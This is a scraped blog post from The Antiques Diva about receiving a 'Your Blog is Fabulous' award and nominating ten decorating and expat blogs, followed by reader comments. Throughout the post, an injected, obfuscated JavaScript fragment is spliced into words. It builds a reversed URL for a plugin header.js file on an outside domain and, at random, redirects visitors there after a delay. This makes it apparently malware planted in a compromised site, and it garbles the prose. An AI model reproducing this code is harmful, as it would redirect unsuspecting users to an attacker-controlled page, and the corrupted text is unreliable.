“Your Blog is Fabulous” Award

toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to 10px; WIDTH: 149px; CURSOR: hand; HEIGHT: 185px; TEXT-ALIGN: center” alt=”” src=”http://3.bp.blogspot.com/_kcTb8DnPVW4/SaUVW-T41BI/AAAAAAAACoU/wJEnSrd7kaw/s320/Your+Blog+is+Fab.jpg” border=”0″ />Dear Diva Readers,

toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}top:2px;padding-right:5px;font-family:times;”>Coco Chanel said, “A girl should be two things: classy and fabulous.” And apparently, I’m half way there! Fellow expat La Mom, a sensationally witty and stylish Paris-based blogger, awarded The Antiques Diva™ with the “Your Blog is Fabulous” Award!

While the blog award does carry with it certain criteria (see below) La Mom chose toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to give her 10 awards toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to blogs in a certain category: French-themed blogs (decorating/ fashion/ cooking/ lifestyle tips or wine tasting info). The Antiques Diva squeezed in under the radar because though I no longer live in Paris I do love “gaie” Paris and write frequently about it. As La Mom put it, “The Antiques Diva is not a 100% Frenchy-themed blog, but she knows her Parisian antiques so that’s good enough for winning this award!”

Now I’m nominating the following 10 blogs for being fabulous toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}too… Though my criteria is a bit a different. These are blogs I’ve stumbled across in recent months for a variety of reasons – the first 5 are my recent “haunts” where I’ve been lurking in my downtime and the last 5 are sites written by expats in Germany that I’m frequenting due toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to my recent move toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to Berlin.

toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to 10px; WIDTH: 320px; CURSOR: hand; HEIGHT: 111px; TEXT-ALIGN: center” alt=”” src=”http://2.bp.blogspot.com/_kcTb8DnPVW4/SaUVOqNU0jI/AAAAAAAACns/RXMtQxaOj1I/s320/peeking+through+sunflowers.jpg” border=”0″ />1) Peeking Through The Sun Flowers is written by a Kansas-based blogger who has a great eye for interior décor! Her toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}totoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to-were-not-in-kansas-anymore.html” target=”_blank”>recent home makeover featured on Cote de Texas blog is down-right delicious and is serving as inspiration for me as I decorate my new home in Berlin.

toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to 10px; WIDTH: 320px; CURSOR: hand; HEIGHT: 240px; TEXT-ALIGN: center” alt=”” src=”http://1.bp.blogspot.com/_kcTb8DnPVW4/SaUVOxeSSSI/AAAAAAAACoE/TotLaHGP-oQ/s320/The+World+According+toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to+Isa.jpg” border=”0″ />2) The World According toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to Isa has some of the most inspiring images I’ve seen in ages… a trip toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to Isa’s site is my daily eye candy. Moreover, this blogger is witty and full of great diva-worthy ideas as she renovates her “villa by the sea”.

toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to 10px; WIDTH: 320px; CURSOR: hand; HEIGHT: 144px; TEXT-ALIGN: center” alt=”” src=”http://4.bp.blogspot.com/_kcTb8DnPVW4/SaUVD5uBhGI/AAAAAAAACnc/ZH3-HvlS–A/s320/French+Garden+House.bmp” border=”0″ /> 3) French Garden House Blog – Blogger Lidy Baar is a woman after my own heart. Growing up in Europe, she developed a passion for antiques with patina and charm and now sells her antiques and vintage treasures via her virtual shop specializing in Romantic Décor with French flair.

toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to 10px; WIDTH: 320px; CURSOR: hand; HEIGHT: 132px; TEXT-ALIGN: center” alt=”” src=”http://2.bp.blogspot.com/_kcTb8DnPVW4/SaUVDTxxGSI/AAAAAAAACnE/Hnh3gd5gA6A/s320/a+fanciful+twist.jpg” border=”0″ />
4) A Fanciful Twist – I’ve only just recently discovered blogger Vanessa Valencia through a comment she left on my site and I’m smitten by her writing and her incredible collection of artwork for sale in her private gallery. Vanessa describes herself as feeling like a “a strange and curiously artistic woman from the 1800’s trapped in the body of a thirty year old girl living in a bizarre Arizona” .

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5) Studio Judith– J de Sante Fe – Another blog that’s a recent discovery and on my list of regular reads is written by an Interior Designer of Park Avenue Penthouses, Airstream Trailers and a variety of other residential and commercial venues. She’s a mixed media artist and an observer of the glorious contradictions which make life interesting and amusing. And though I’ve only just discovered her, I adore her already.

Since I’ve just moved toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to Berlin, I am currently exploring the German Expat Blog scene – thus I wanted toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to award a few of my favorite finds with this Fabulous Blog Award!

toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to 10px; WIDTH: 90px; CURSOR: hand; HEIGHT: 103px; TEXT-ALIGN: center” alt=”” src=”http://2.bp.blogspot.com/_kcTb8DnPVW4/SaUVOstA87I/AAAAAAAACnk/ercS9oKsbvY/s320/making+this+home.jpg” border=”0″ />6) Making this Home – Just before moving toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to Berlin, toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toriancobweb.blogspot.com/” target=”_blank”>Victoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}torian Cobweb tuned me ontoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to this blog which details how one American is “making her home” in Germany – she gives great tips on toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to-live-in-europe/” target=”_blank”>everything from how toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to save money living in Europe toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to-our-ceiling-wondering-how-that-title-could-sound-fun/” target=”_blank”>hanging wallpaper on the ceiling and toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to-breathe/” target=”_blank”>watching the water meter!
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7) Germany from an American Perspective is written by an expat with the intent toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to share interesting comparisons between American and German culture.

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8) American Dresdner written by a Mormon girl from Idaho who currently lives in Dresden with her mad scientist husband.

toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to 10px; WIDTH: 320px; CURSOR: hand; HEIGHT: 62px; TEXT-ALIGN: center” alt=”” src=”http://4.bp.blogspot.com/_kcTb8DnPVW4/SaUVWj16cZI/AAAAAAAACoM/SveB1_DOlNI/s320/this+non+american+life.jpg” border=”0″ />9) This Non-American Life written
by a travel-addicted American expatriate artist who has lived in Italy, Germany, and Switzerland… and is now settling in after a move from Zurich toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to Munich.

toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to 10px; WIDTH: 320px; CURSOR: hand; HEIGHT: 53px; TEXT-ALIGN: center” alt=”” src=”http://2.bp.blogspot.com/_kcTb8DnPVW4/SaUVOmwgPtI/AAAAAAAACn0/Mj9O93ZdjJ0/s320/Swisstoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tory.jpg” border=”0″ />10) toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toryblog.com/” target=”_blank”>Swisstoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tory – While not technically a German blog, this American expat living in Zurich has already taught me oodles of German words and phrases. Plus, she’s just plain funny and I enjoy seeing Switzerland – a place I love toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to travel – through her eyes!

Now, Fabulous Blogger Recipients – there are a few rules that come with being “Fabuleuse!”

1. Put the logo on your blog or post.
2. Nominate at least 10 blogs which you think are fabulous.
3. Be sure toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to link toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to your nominees within your post.
4. Let them know that they have received this award by commenting on their blog.
5. Share the love and link toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to this post and toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to the person from whom you received your award.

Have a Fabulous Day!

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Author: Toma Clark Haines

Toma Clark Haines is a Global Tastemaker, Speaker, Writer & Entrepreneur; and founder and CEO The Antiques Diva® & Co, Europe, Asia and America's largest Antiques Sourcing & Touring Company.

11 thoughts on ““Your Blog is Fabulous” Award”

  1. I have to say, I think your blog is fabulous, too. You have opened a whole new world to me, I knew and know so little about. Besides that, I adore your sense of humor.

  2. Fanciful Twist –
    You my dear deserve it! I spent ages ooh and ahhing over your recent post on the Gypsy Garden!

    JEM,
    Thanks indeed! Berlin is being kind, but what I haven’t figured out is whether Berlin is a lady or man! Any thoughts? I never know whether to refer to it as a him or her!

    Jessica,
    You rock! I lost the list of blogs you “follow” and have been scouring your list finding resources for mine!

    Gillian,
    What an absolutely kind thing to say!!! I enjoyed popping over to your site and can’t wait to see pictures of the puppy you are “expecting”.

    Isa,
    Your blog is complete eye-candy!

    Katie at Making this Home,
    If I could have only given this award to one person it would have been YOU! Your blog has helped so much as I sort out my new life in Berlin… it’s as if you’ve already solved my problems for me!! You rock Katie-girl!

    Phivos, (aka Philip)
    Merci Beaucoup for your kind words… do you think there is an award for “Your blog is classy”… Hmm… I want that award!

    Big Bisous to all of you,
    The Antiques Diva

  3. Oh wow. I’m so touched that you included me in this award. You listed a couple of other blogs that I enjoy… and a bunch that I’ve never been to. Time to start visiting! Thank you so much for passing such an award to me.
    Katie

  4. Congratulations on your much deserved award, Toma! Your blog certainly is fabulous and beyond. I’m truly honored that you passed the award onto me, and that you think so much of my little blog. Thank you!
    I can’t wait to read about what you are doing next!
    xo Isa

  5. You certainly deserve this award. I just stumbled upon your blog and I am hooked. I love how you wrote about the new washer and dryer. Keep writing and I know this young design addicted American will continue reading!

  6. Wow! Thanks a million, Diva. I’m totally flattered. I’ll get to work on my list post haste! And I hope Berlin is being kind to you. I love that city and wish you all the best there.

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